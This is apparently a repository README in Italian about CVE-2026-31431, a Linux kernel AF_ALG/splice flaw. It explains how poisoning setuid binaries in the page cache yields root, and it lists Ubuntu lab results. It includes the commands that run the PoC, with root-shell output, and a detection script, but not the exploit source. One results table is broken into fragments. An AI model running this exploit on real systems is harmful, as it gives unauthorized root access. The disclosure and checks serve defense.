
Proof-of-concept exploit per CVE-2026-31431 (Copy-Fail), una vulnerabilità del kernel Linux in AF_ALG e splice() che consente l'avvelenamento della cache delle pagine e l'escalation dei privilegi locali. Include analisi, risultati di laboratorio e script di rilevamento.
Questa repository contiene un'analisi approfondita, una Proof-of-Concept (PoC) e i risultati dei test di laboratorio per la vulnerabilità CVE-2026-31431, nota anche come "Copy-Fail".
Copy-Fail sfrutta un difetto logico nella Crypto API del Kernel Linux (AF_ALG) combinato con la chiamata di sistema splice(). Consente a un attaccante locale non privilegiato di eseguire un Page Cache Poisoning, portando a un'Elevazione dei Privilegi Locali (LPE).
A differenza degli exploit tradizionali che modificano i file sul disco, Copy-Fail prende di mira direttamente la Page Cache (RAM). Quando un file viene letto, il kernel ne memorizza una copia in RAM per migliorare le prestazioni. A causa di un bug nella gestione della memoria nell'algoritmo authenc su specifiche versioni del kernel, un attaccante può ingannare il kernel facendogli sovrascrivere queste pagine di memoria "di sola lettura".
Avvelenando le pagine di memoria dei binari SETUID come /usr/bin/su, è possibile bypassare l'autenticazione e ottenere una shell di root.
I test sono stati condotti su più distribuzioni Ubuntu, esaminando in particolare l'impatto del backporting del kernel e della gestione delle patch.
| Distribuzione | Versione del Kernel | Data della Patch | Risultato | Osservazione |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | Ott 2025 | ❌ Fallito | Aggiornamenti di sicurezza attivi |
| Ubuntu 22.04 | 5.15.0-125-generic | Set 2024 | ✅ SUCCESSO | Vulnerabile (Non patchato) |
| Ubuntu 18.04 | 4.15.0-197-generic | Nov 2022 | ✅ SUCCESSO | Vulnerabile (Non patchato) |
I numeri di versione del kernel possono essere fuorvianti. Mentre i kernel "più recenti" come il 6.8 sono protetti tramite patch di sicurezza, i kernel più vecchi o EOL (End of Life) come il 4.15 e il 5.15 sono rimasti completamente vulnerabili a causa della mancanza di fix backportati.
Durante la ricerca, è stato ottenuto un risultato sorprendente testando due diversi sistemi Ubuntu 22.04 che condividono la stessa versione principale del kernel:
| Versione del Kernel |
|---|
Questo test dimostra che la sicurezza di un sistema non può essere misurata solo dal numero di versione principale. Un server che esegue la 5.15.0-125 può essere compromesso in pochi secondi, mentre la 5.15.0-170 blocca completamente l'attacco.
Output dell'Exploit Riuscito (Kernel 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Avvelenamento di /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completato. Attivazione di Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
La PoC è stata sviluppata utilizzando ctypes per garantire la compatibilità con diverse versioni di Python (in particolare per le versioni prive del supporto nativo os.splice).
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. Controllare la versione del kernel
# uname -r
# 2. Controllare i moduli caricati (Sicuro se nessun output)
# lsmod | grep -E "algif_aead|authencesn"
# 3. Test Critico — bind authencesn
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITICO — Sistema Vulnerabile!')
s.close()
except:
print('[+] Sicuro — authencesn non raggiungibile')
"
# 4. Hash dei binari setuid (riferimento)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
Tabella di Valutazione:
| Risultato | Significato |
|---|---|
| Nessun output lsmod + errore di bind | ✅ Sicuro |
| Output lsmod presente O bind riuscito | ⚠️ Vulnerabile, applicare le patch immediatamente |
Disclaimer: Questa ricerca e la PoC sono solo a scopo educativo e di test di sicurezza autorizzati. L'utilizzo su sistemi non autorizzati può comportare conseguenze legali.
| Data della Patch |
|---|
| Risultato |
|---|
| Stato |
|---|
| 5.15.0-125 | Set 2024 | ✅ SUCCESSO | Vulnerabile (Exploit Attivato) |
| 5.15.0-170 | Gen 2026 | ❌ FALLITO | Sicuro (Patchato) |